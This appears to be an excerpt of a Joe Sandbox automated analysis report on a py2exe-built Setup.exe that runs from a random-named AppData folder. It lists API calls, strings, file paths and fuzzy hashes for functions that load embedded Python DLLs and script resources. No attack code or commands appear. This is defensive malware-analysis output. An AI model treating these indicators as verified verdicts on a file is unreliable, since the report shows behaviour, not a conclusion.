Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: AddressDebugHandleLibraryLoadModuleOutputProcString__iob_funcfprintf
String ID: undef symbol$undefined symbol %s -> exit(-1)
API String ID: 3232099167-3880521481
Opcode ID: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
Instruction ID: ec091370b392768ebba2b9cbd08fa3fa07ccb6f4dd854fbc632097c7e97f4075
Opcode Fuzzy Hash: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
Instruction Fuzzy Hash: 9A11E2B16003029FEB216B699C487677798EFD4351F194437EA82F33B0D778DC958A18

Function 00401350 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00401464,?), ref: 00401365
GetFileSize.KERNEL32(00000000,00401464,?,?,?,00401464,?), ref: 0040137F
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00401392
CloseHandle.KERNEL32(00000000,?,?,?,00401464,?), ref: 004013A1

Strings

C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 00401364

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: File$Create$CloseHandleMappingSize
String ID: C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin
API String ID: 3089540790-807292131
Opcode ID: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
Instruction ID: 01b989ff9adac1588cbd50fc37617142f0a4378e713b607962af627c2eb096ff
Opcode Fuzzy Hash: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
Instruction Fuzzy Hash: B3017172B513107AF63056B8BC4AF9AA798D785B72F21063AFB11FA1D0D6B468005668

Non-executed Functions

Function 00401540 Relevance: 33.3, APIs: 9, Strings: 10, Instructions: 91
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,00000001,ZLIB.PYD), ref: 00401556
LoadResource.KERNEL32(?,00000000), ref: 00401562
LockResource.KERNEL32(00000000), ref: 00401571

Part of subcall function 00402520: _stricmp.MSVCR90(00000000,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040253C
Part of subcall function 00402520: SetLastError.KERNEL32(0000000B,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040255E

_snprintf.MSVCR90 ref: 004015C5
LoadLibraryA.KERNEL32(?), ref: 004015D3
GetProcAddress.KERNEL32(00000000,initzlib), ref: 004015E3

Strings

initzlib, xrefs: 004015DD
zlib.pyd, xrefs: 00401578
C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 004015FA
<zlib.pyd>, xrefs: 00401630
%s\%s, xrefs: 004015B6
<pythondll>, xrefs: 00401618
zlib.pyd, xrefs: 004015AC
initzlib, xrefs: 0040158D
ZLIB.PYD, xrefs: 0040154E
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 004015B1

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: Resource$Load$AddressErrorFindLastLibraryLockProc_snprintf_stricmp
String ID: %s\%s$<pythondll>$<zlib.pyd>$C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin$ZLIB.PYD$initzlib$initzlib$zlib.pyd$zlib.pyd
API String ID: 2010571536-2133320399
Opcode ID: ae8171121ff50720c6090cc407aa1a891991b12c19434c239d70883ea56e5c8f
Instruction ID: 80c5690bec49cf3331e261639d2591b172880e98f7e07ff1acb0629b34ba171b
Opcode Fuzzy Hash: ae8171121ff50720c6090cc407aa1a891991b12c19434c239d70883ea56e5c8f
Instruction Fuzzy Hash: 0A21F7B1A4130177E62067606D4AFAB325C9F91B08F08043AFE06F92D0FA7DDA0485BE

Function 004022C0 Relevance: 6.3, APIs: 5, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

free.MSVCR90 ref: 00402321
VirtualFree.KERNEL32(C0335F5D,00000000,00008000,?,00000000,004026C2,00000000), ref: 00402336
free.MSVCR90 ref: 00402344
GetProcessHeap.KERNEL32(00000000,004026C2,?,00000000,004026C2,00000000), ref: 0040234C
HeapFree.KERNEL32(00000000), ref: 00402353

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: FreeHeapfree$ProcessVirtual
String ID:
API String ID: 2257755588-0
Opcode ID: 102b0e965b67371c3419661cfc3c5fb572f8875f49e51ae503116d5d03759085
Instruction ID: c191dbe27311920bbdec97b2ed2d5cc66810e61716ce78d940763c9d64f64ade
Opcode Fuzzy Hash: 102b0e965b67371c3419661cfc3c5fb572f8875f49e51ae503116d5d03759085
Instruction Fuzzy Hash: A3115BB1600701ABD2309B65DD89B57B3A8BB84710F144939EA9AB72D0C7BCF845CA69

Function 00401110 Relevance: 3.8, Strings: 3, Instructions: 32COMMON

Download Yara Rule

Strings

sys, xrefs: 00401127
_MessageBox, xrefs: 0040114B
windows_exe, xrefs: 00401110

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID:
String ID: _MessageBox$sys$windows_exe
API String ID: 0-3849625447
Opcode ID: fd65348d22b7d2e19ff4df5bd480cead7c4a5eac75bb3426842ad792d1667849
Instruction ID: 03ad9a0f995d2bc1cd443073b562689d5bf0c018f35825648ba9a12bb2c7fe2a
Opcode Fuzzy Hash: fd65348d22b7d2e19ff4df5bd480cead7c4a5eac75bb3426842ad792d1667849
Instruction Fuzzy Hash: 48F082B1A41A009BD6117790AD0AF5F3358DB58704F100132FE02BF3E2E6B868449DEE

Function 00402CAD Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00002C6B), ref: 00402CB2

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9958a91c4ca027a0dd06e737d3769bf254095cad11251027f228ee6969ece57c
Instruction ID: 7bd2fd39c89f7d3508dfe89a34405372043ba1f6fa746baa291dd004a811b285
Opcode Fuzzy Hash: 9958a91c4ca027a0dd06e737d3769bf254095cad11251027f228ee6969ece57c
Instruction Fuzzy Hash: E99002B1A5560046D61017706F4D60925906A8C60B75204716301F44D4DAB44500555D

Function 004013E0 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,00000001,PYTHON27.DLL), ref: 00401408
LoadResource.KERNEL32(?,00000000), ref: 00401414
LockResource.KERNEL32(00000000), ref: 0040141B
GetLastError.KERNEL32(Could not load python dll), ref: 0040143C

Part of subcall function 00401180: GetModuleFileNameA.KERNEL32(?,C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe,00000304,00401245,?,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040118F
Part of subcall function 00401180: GetLastError.KERNEL32(Retrieving module name,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040119E

Part of subcall function 00401350: CreateFileA.KERNELBASE(C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00401464,?), ref: 00401365

strncmp.MSVCR90 ref: 00401478
UnmapViewOfFile.KERNEL32(00000000), ref: 00401499
_snprintf.MSVCR90 ref: 004014BD
GetLastError.KERNEL32(LoadLibrary(pythondll) failed), ref: 004014DB

Strings

PYTHON27.DLL, xrefs: 00401489
LoadLibrary(pythondll) failed, xrefs: 004014D6
C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 0040145A
%s\%s, xrefs: 004014AE
PYTHON27.DLL, xrefs: 004014A4
PYTHON27.DLL, xrefs: 00401400
Could not load python dll, xrefs: 00401437
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 004013E6, 004014A9
<pythondll>, xrefs: 00401470
PYTHON27.DLL, xrefs: 00401422

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: ErrorFileLastResource$CreateFindLoadLockModuleNameUnmapView_snprintfstrncmp
String ID: %s\%s$<pythondll>$C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin$Could not load python dll$LoadLibrary(pythondll) failed$PYTHON27.DLL$PYTHON27.DLL$PYTHON27.DLL$PYTHON27.DLL
API String ID: 948983971-1308289314
Opcode ID: e5fa7c13f66c1b1b8e088db1ac7ea836e05937aadb5f2d225cdafa8ad45d128f
Instruction ID: 9a0feed5ddbe4cddfef8bd4aac7050c8a6037310be6a08d4b3341eb70d5cfa45
Opcode Fuzzy Hash: e5fa7c13f66c1b1b8e088db1ac7ea836e05937aadb5f2d225cdafa8ad45d128f
Instruction Fuzzy Hash: 9721C9B1A4070067E721B7B0AD0BB9B325C9F80B49F54043AFB45F51E1FABC9A0446AE

Function 00401220 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,00000001,PYTHONSCRIPT), ref: 0040122E
GetLastError.KERNEL32(Could not locate script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401251

Part of subcall function 00401180: GetModuleFileNameA.KERNEL32(?,C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe,00000304,00401245,?,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040118F
Part of subcall function 00401180: GetLastError.KERNEL32(Retrieving module name,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040119E

LoadResource.KERNEL32(?,00000000,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401267
GetLastError.KERNEL32(Could not load script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401276

Part of subcall function 00401000: FormatMessageA.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000), ref: 00401024
Part of subcall function 00401000: strncpy.MSVCR90 ref: 00401038
Part of subcall function 00401000: LocalFree.KERNEL32(?), ref: 00401046
Part of subcall function 00401000: lstrlenA.KERNEL32(00000000), ref: 00401058
Part of subcall function 00401000: _snprintf.MSVCR90 ref: 00401073
Part of subcall function 00401000: GetFocus.USER32 ref: 00401085
Part of subcall function 00401000: MessageBoxA.USER32(00000000), ref: 0040108C

LockResource.KERNEL32(00000000,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040128B
GetLastError.KERNEL32(Could not lock script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 004012A4

Strings

%s\%s, xrefs: 0040130E
Bug: Invalid script resource, xrefs: 004012D2
C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 00401318, 00401333
Could not locate script resource:, xrefs: 0040124C
Could not lock script resource:, xrefs: 0040129F
Could not load script resource:, xrefs: 00401271
PYTHONSCRIPT, xrefs: 00401226
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 00401234, 00401309

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: ErrorLast$Resource$Message$FileFindFocusFormatFreeLoadLocalLockModuleName_snprintflstrlenstrncpy
String ID: %s\%s$Bug: Invalid script resource$C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin$Could not load script resource:$Could not locate script resource:$Could not lock script resource:$PYTHONSCRIPT
API String ID: 1129944797-1370332731
Opcode ID: b432dbf9351b12fe222823a8510b54283b5670730d38031d67c0957052b3a19f
Instruction ID: 7eba09b1a0f40aa0c84d07f7e295eb5ffc7ddc03588af27cd80fb795cb350761
Opcode Fuzzy Hash: b432dbf9351b12fe222823a8510b54283b5670730d38031d67c0957052b3a19f
Instruction Fuzzy Hash: F62128B26442006FD7115B78BE0DB9B3758DB80769F06007BFF05F62F1E67988428A9D

Function 004018E0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401220: FindResourceA.KERNEL32(?,00000001,PYTHONSCRIPT), ref: 0040122E
Part of subcall function 00401220: GetLastError.KERNEL32(Could not locate script resource:,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 00401251

__iob_func.MSVCR90 ref: 0040191B
setbuf.MSVCR90 ref: 00401924
__iob_func.MSVCR90 ref: 0040192B
setbuf.MSVCR90 ref: 00401931
__iob_func.MSVCR90 ref: 00401938
setbuf.MSVCR90 ref: 0040193E
getenv.MSVCR90 ref: 0040194F
getenv.MSVCR90 ref: 0040195D
atoi.MSVCR90 ref: 00401960

Strings

PY2EXE_VERBOSE, xrefs: 00401958
frozen, xrefs: 004019EF
frozen, xrefs: 00401A1C
PY2EXE_VERBOSE, xrefs: 0040194A
C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe, xrefs: 004019A5

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: __iob_funcsetbuf$getenv$ErrorFindLastResourceatoi
String ID: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe$PY2EXE_VERBOSE$PY2EXE_VERBOSE$frozen$frozen
API String ID: 2889461157-1111393873
Opcode ID: 6a41f32718c465f74dc13107b34463424df5baa3dd1c1489e4060c543bf3a866
Instruction ID: adff5b3d9cbd52ee3098cb8152bb6aaebbde8b1068d3032ab92f625a8504708a
Opcode Fuzzy Hash: 6a41f32718c465f74dc13107b34463424df5baa3dd1c1489e4060c543bf3a866
Instruction Fuzzy Hash: 293163B1A012005BD7007BB5AE49B5B3AA8DF44349F154436FD05BB2F1E67AD810CEAE

Function 00402520 Relevance: 21.2, APIs: 14, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCR90(00000000,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040253C
SetLastError.KERNEL32(0000000B,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 0040255E
SetLastError.KERNEL32(0000000B,?,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 00402584
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?), ref: 004025A7
VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025BB
SetLastError.KERNEL32(00000008,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025C5
GetProcessHeap.KERNEL32(00000000,00000028,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025D7
HeapAlloc.KERNEL32(00000000,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 004025DE
_strdup.MSVCR90(?,?,?,004056A8,?,00401D89,?,?,?,00000000,004014CF,?,00000000), ref: 00402606
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,00000000), ref: 00402625
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00402637
memcpy.MSVCR90(00000000,?,?), ref: 0040264A
SetLastError.KERNEL32(0000000B), ref: 0040269F
free.MSVCR90 ref: 004026B6

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: Alloc$ErrorLastVirtual$Heap$Process_strdup_stricmpfreememcpy
String ID:
API String ID: 2469453545-0
Opcode ID: 5920acf7b4561dd90e574946742b47aa2b1a423a53400a6d9a2a9baf89e5df49
Instruction ID: e0f6c52df854575513d4d367151ecfb11016daf14cf6d7b4230d021fbf6e33ad
Opcode Fuzzy Hash: 5920acf7b4561dd90e574946742b47aa2b1a423a53400a6d9a2a9baf89e5df49
Instruction Fuzzy Hash: C451B5B2601700AFD7209F68ED48B6B77A8EB84715F14453AFA45E72C1D7B5E8008B99

Function 00401180 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe,00000304,00401245,?,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040118F
GetLastError.KERNEL32(Retrieving module name,?,?,004018EB,?,?,00401A4C,00000000,?,0040111A,windows_exe), ref: 0040119E

Part of subcall function 00401000: FormatMessageA.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000), ref: 00401024
Part of subcall function 00401000: strncpy.MSVCR90 ref: 00401038
Part of subcall function 00401000: LocalFree.KERNEL32(?), ref: 00401046
Part of subcall function 00401000: lstrlenA.KERNEL32(00000000), ref: 00401058
Part of subcall function 00401000: _snprintf.MSVCR90 ref: 00401073
Part of subcall function 00401000: GetFocus.USER32 ref: 00401085
Part of subcall function 00401000: MessageBoxA.USER32(00000000), ref: 0040108C

strncmp.MSVCR90 ref: 004011D2
strrchr.MSVCR90 ref: 00401201

Strings

Retrieving module name, xrefs: 00401199
\\?\, xrefs: 004011C8
C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe, xrefs: 00401189, 004011B0, 004011CD, 004011E4
C:\Users\user\AppData\Roaming\FeGIPCnK, xrefs: 004011E9, 004011FC

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: Message$ErrorFileFocusFormatFreeLastLocalModuleName_snprintflstrlenstrncmpstrncpystrrchr
String ID: C:\Users\user\AppData\Roaming\FeGIPCnK$C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe$Retrieving module name$\\?\
API String ID: 3478746248-3170411547
Opcode ID: 1c63dc24383a6b44afdcbb7e344813abb8cf198e7691c487b9f7923b4337fbf4
Instruction ID: 91c1268eff9de99491df4014b82af4a7232e339c9bbb35131923ff5da035fb76
Opcode Fuzzy Hash: 1c63dc24383a6b44afdcbb7e344813abb8cf198e7691c487b9f7923b4337fbf4
Instruction Fuzzy Hash: E201ADB06406405BE3011BB95E1AB173A849B59B0AF1A8072FB46FF2E2DA7DC914865D

Function 00401B90 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.MSVCR90 ref: 00401BFC
__iob_func.MSVCR90 ref: 00401C14
__iob_func.MSVCR90 ref: 00401C29

Strings

<stdin>, xrefs: 00401C0F
<stdin>, xrefs: 00401C24
path, xrefs: 00401BD9
PYTHONINSPECT, xrefs: 00401BF5

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: __iob_func$getenv
String ID: <stdin>$<stdin>$PYTHONINSPECT$path
API String ID: 952159037-346035110
Opcode ID: 38fc9347ebd0b39b6a251194a392424c584476c304bd1f4b767da579e09a30c7
Instruction ID: 3a0cd90c33e045019f3d85b4f9523035d4d057a98ccbf2b2234be1e6514390f9
Opcode Fuzzy Hash: 38fc9347ebd0b39b6a251194a392424c584476c304bd1f4b767da579e09a30c7
Instruction Fuzzy Hash: 2F018471A41710ABD61027B5AF0DB1F3A68DF41752F080036FD05F62A1EA39D924CEBE

Function 00401000 Relevance: 10.5, APIs: 7, Instructions: 46
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FormatMessageA.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000), ref: 00401024
strncpy.MSVCR90 ref: 00401038
LocalFree.KERNEL32(?), ref: 00401046
lstrlenA.KERNEL32(00000000), ref: 00401058
_snprintf.MSVCR90 ref: 00401073
GetFocus.USER32 ref: 00401085
MessageBoxA.USER32(00000000), ref: 0040108C

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: Message$FocusFormatFreeLocal_snprintflstrlenstrncpy
String ID:
API String ID: 2324749726-0
Opcode ID: 5c360f393e6a0c1135d57203a577ae5badcfff9240942876dcb77ff3ee984539
Instruction ID: d54df7ba943514a9ed245f917b7b029d9917e2ae8cd7c94c82d9e9a5e8dc25a3
Opcode Fuzzy Hash: 5c360f393e6a0c1135d57203a577ae5badcfff9240942876dcb77ff3ee984539
Instruction Fuzzy Hash: A20140F5514300BFE314ABA4DD4DF9B77A8ABC4704F00C828B789B61D1DA78D459C76A

Function 00401A50 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.MSVCR90 ref: 00401A55
__iob_func.MSVCR90 ref: 00401A6E
__iob_func.MSVCR90 ref: 00401A83

Strings

<stdin>, xrefs: 00401A69
<stdin>, xrefs: 00401A7E
PYTHONINSPECT, xrefs: 00401A50

Memory Dump Source

Source File: 00000006.00000002.2968910501.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2968866908.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968931420.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968947320.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2968963547.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Setup.jbxd

Similarity

API ID: __iob_func$getenv
String ID: <stdin>$<stdin>$PYTHONINSPECT
API String ID: 952159037-3944695568
Opcode ID: 70635a653a20398afb8323c1779619fc8e2f8c30ff46a45be12a8d071d852709
Instruction ID: 8cca01e1b034a1b8fc333b74f5ab705df7888345169281b2be04b1cf812c368c
Opcode Fuzzy Hash: 70635a653a20398afb8323c1779619fc8e2f8c30ff46a45be12a8d071d852709
Instruction Fuzzy Hash: 61E0C270E417119BDA0057F86F0DA1B3A2CDD05352B080077EC09F21E0DA78D864CEBE

Function 004023A0 Relevance: 9.1, APIs: 6, Instructions: 149
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 004023CB

